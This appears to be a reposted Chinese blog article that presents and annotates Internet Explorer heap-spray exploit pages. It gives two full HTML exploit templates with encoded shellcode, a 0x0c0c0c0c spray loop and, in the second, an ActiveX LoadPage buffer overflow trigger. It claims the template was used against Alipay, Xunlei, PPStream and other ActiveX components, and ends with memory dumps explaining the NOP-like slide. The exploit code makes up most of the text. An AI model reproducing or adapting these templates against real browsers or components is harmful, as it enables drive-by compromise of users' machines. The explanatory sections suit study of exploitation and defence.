通用网页/ie 0day溢出heapspray(spray heap)挂马技术研究/分析与注释/解释

来源:互联网 发布:php cookie设置 编辑:程序博客网 时间:2024/06/05 06:18

通用网页/ie 0day溢出heapspray(spray heap)挂马技术研究/分析与注释/解释

<!--(从MS05-055到MS08-078,到迅雷、ppstream、支付宝漏洞利用),搜一下spray heap,最近几年的0day网页漏洞都是使用这个通用、移植性好的模板-->
<html><head>
<script language="JavaScript">
<!--
var shellcode = unescape("%u9090%u9090%u9090%u9090" +
"%u68fc%u0a6a%u1e38%u6368%ud189%u684f%u7432%u0c91" +
"%uf48b%u7e8d%u33f4%ub7db%u2b04%u66e3%u33bb%u5332" +
"%u7568%u6573%u5472%ud233%u8b64%u305a%u4b8b%u8b0c" +
"%u1c49%u098b%u698b%uad08%u6a3d%u380a%u751e%u9505" +
"%u57ff%u95f8%u8b60%u3c45%u4c8b%u7805%ucd03%u598b" +
"%u0320%u33dd%u47ff%u348b%u03bb%u99f5%ube0f%u3a06" +
"%u74c4%uc108%u07ca%ud003%ueb46%u3bf1%u2454%u751c" +
"%u8be4%u2459%udd03%u8b66%u7b3c%u598b%u031c%u03dd" +
"%ubb2c%u5f95%u57ab%u3d61%u0a6a%u1e38%ua975%udb33" +
"%u6853%u5078%u4b4c%u5f68%u7942%u685f%u6c66%u776f" +
"%u4f68%u6576%u8b72%u53c4%u5050%uff53%ufc57%uff53" +
"%uf857%u0000");
var memory = new Array();
function getSpraySlide(spraySlide, spraySlideSize){
while (spraySlide.length*2<spraySlideSize){
    spraySlide += spraySlide;////其实就是spraySlide=2^n;因为spraySlide初始为为2的倍数,不断翻倍,还是2的倍数,填充的内容是0c,对应汇编or al,0Ch指令,相当于nop
}
spraySlide = spraySlide.substring(0,spraySlideSize/2);
return spraySlide;
}
function makeSlide(){
var heapSprayToAddress = 0x0c0c0c0c;/////这儿为啥是0c,主要是填充字符全部用0c,覆盖eip也就指向0x0c,也就是溢出后从0x0c0c0c0c执行,我们的目的就是在这个地址开始不断写入shellcode
var payLoadCode = unescape(shellcode);/////因为javascript对字符默认会进行unicode编码,比如常量"A"js解释的时候按0x0041处理,这儿注意一点,高地位要颠倒,比如指令jmp -1对应eb fe,对应%ufeeb
var heapBlockSize = 0x400000;////0x400000 = 2^22=2^20 *4 = 4M空间
var payLoadSize = payLoadCode.length * 2;////word长度变成byte长度
var spraySlideSize = heapBlockSize - (payLoadSize+0x38);////这儿38h对应heap header的长度,本来理论上32h,但是工程测试38h效果更好,即38h来自工程实践
var spraySlide = unescape("%u0c0c%u0c0c");
spraySlide = getSpraySlide(spraySlide,spraySlideSize);
////[heap header][spraySlide=0c0c0c0c0c0c0c0c0c0c0c0c0c][shellcode..............]
////<---38h-------><------------spraySlideSize----------------------><--payLoadSize---->
/// <-----------------------总长heapBlockSize=400000h----------------------------------->
heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize; ////从0x0c0c0c0c-0x400000都要被覆盖,每块大小为0x400000,相除即上面结构的块数
for (i=0;i<heapBlocks;i++) {
    memory[i] = spraySlide + payLoadCode;////这儿[heap header]系统自动填写,[spraySlide=0c0c0c0c0c0c0c0c0c0c0c0c0c][shellcode.........]被spraySlide + payLoadCode填写
}
return 0;
}
makeSlide();//-->
</script>
</head>
<body>shellcode 0day for ie6/ie7 on windows xp sp2/sp3/2000/vista</body>
</html>

<!--

下面为另一种变种:
<html>
<object classid="clsid:7F5E27CE-4A5C-11D3-9232-0000B48A05B2" id='test'></object>
<body>
<SCRIPT language="javascript">
var shellcode = unescape("%u9090%u9090%u9090%u9090" +
"%u68fc%u0a6a%u1e38%u6368%ud189%u684f%u7432%u0c91" +
"%uf48b%u7e8d%u33f4%ub7db%u2b04%u66e3%u33bb%u5332" +
"%u7568%u6573%u5472%ud233%u8b64%u305a%u4b8b%u8b0c" +
"%u1c49%u098b%u698b%uad08%u6a3d%u380a%u751e%u9505" +
"%u57ff%u95f8%u8b60%u3c45%u4c8b%u7805%ucd03%u598b" +
"%u0320%u33dd%u47ff%u348b%u03bb%u99f5%ube0f%u3a06" +
"%u74c4%uc108%u07ca%ud003%ueb46%u3bf1%u2454%u751c" +
"%u8be4%u2459%udd03%u8b66%u7b3c%u598b%u031c%u03dd" +
"%ubb2c%u5f95%u57ab%u3d61%u0a6a%u1e38%ua975%udb33" +
"%u6853%u5078%u4b4c%u5f68%u7942%u685f%u6c66%u776f" +
"%u4f68%u6576%u8b72%u53c4%u5050%uff53%ufc57%uff53" +
"%uf857%u0000");


bigblock = unescape("%u9090%u9090");
headersize = 20;
slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (x=0; x<500; x++) memory[x] = block + shellcode;
var buffer = '\x0a';
while (buffer.length < 256) buffer+='A';
buffer+='\x0a\x0a\x0a\x0a';
test.LoadPage(buffer,10,20,1);
</script>
</body>
</html>

这个代码被广泛使用在:


阿里巴巴支付宝
新浪uc
迅雷5
ppstream
qqlive直播
超星阅览器
联众世界

等ie能够嵌入activex的应用溢出中。

参考:

传统的Heap Spray

    传统的Heap Spray是使用js分配内存。根据heap spray的思想,就是用同样的一个指令,去覆盖一片大内存地址,在每块分配到的内存最后,都付上我们的shellcode。
    对这个指令的要求是,相当于NOPS的作用。且该指令指向的地址,正好落在我们覆盖的这片大存在地址中。

    上面说的可能有些绕口,在实际exploit中,就是分配这样的一片内存区域,比如
0B2701B0 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ................
0B2701C0 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ................
0B2701D0 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ................
0B2701E0 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ................
0B2701F0 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ................
0B270200 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ................
0B270210 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ................
0B270220 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ................

    这样,0x0c0c0c0c的地址的内容也是 0c0c0c0c
0C0C0C0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ................
0C0C0C1C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ................
0C0C0C2C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ................
0C0C0C3C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ................
0C0C0C4C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ................
0C0C0C5C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ................

    而0c这个指令正好是双字节指令,且对寄存器影响最小,可以起到nops的作用
0C0C0C0C    0C 0C           OR AL,0C
0C0C0C0E    0C 0C           OR AL,0C
0C0C0C10    0C 0C           OR AL,0C
0C0C0C12    0C 0C           OR AL,0C
0C0C0C14    0C 0C           OR AL,0C
0C0C0C16    0C 0C           OR AL,0C

    所以如果我们把我们的eip指向了0x0c0c0c0c这个地址,就会一直在这片内存中执行下去,一直执行到我们的shellcode为止。